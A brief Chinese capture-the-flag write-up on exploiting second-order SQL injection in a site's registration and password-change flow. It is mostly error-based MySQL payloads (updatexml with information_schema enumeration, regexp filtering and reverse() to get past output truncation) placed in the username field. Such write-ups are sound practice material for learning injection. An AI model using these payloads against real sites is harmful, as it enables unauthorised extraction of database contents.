有登录界面和注册界面,先注册。
注册后登录
有修改密码的界面。
报错了,确认存在二次注入。
payload
username=fmyyy2"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#
username=fmyyy"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#
username=fmyyy"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
flag表里的flag是假的,真flag在users里。
但真flag字段里列名太多,无法查到flag。
参考
https://blog.csdn.net/mochu7777777/article/details/105179021
可以用正则匹配
payload:
username=fmyyy"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#
username=fmyyy"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
第二个结果用脚本翻转一下就好了。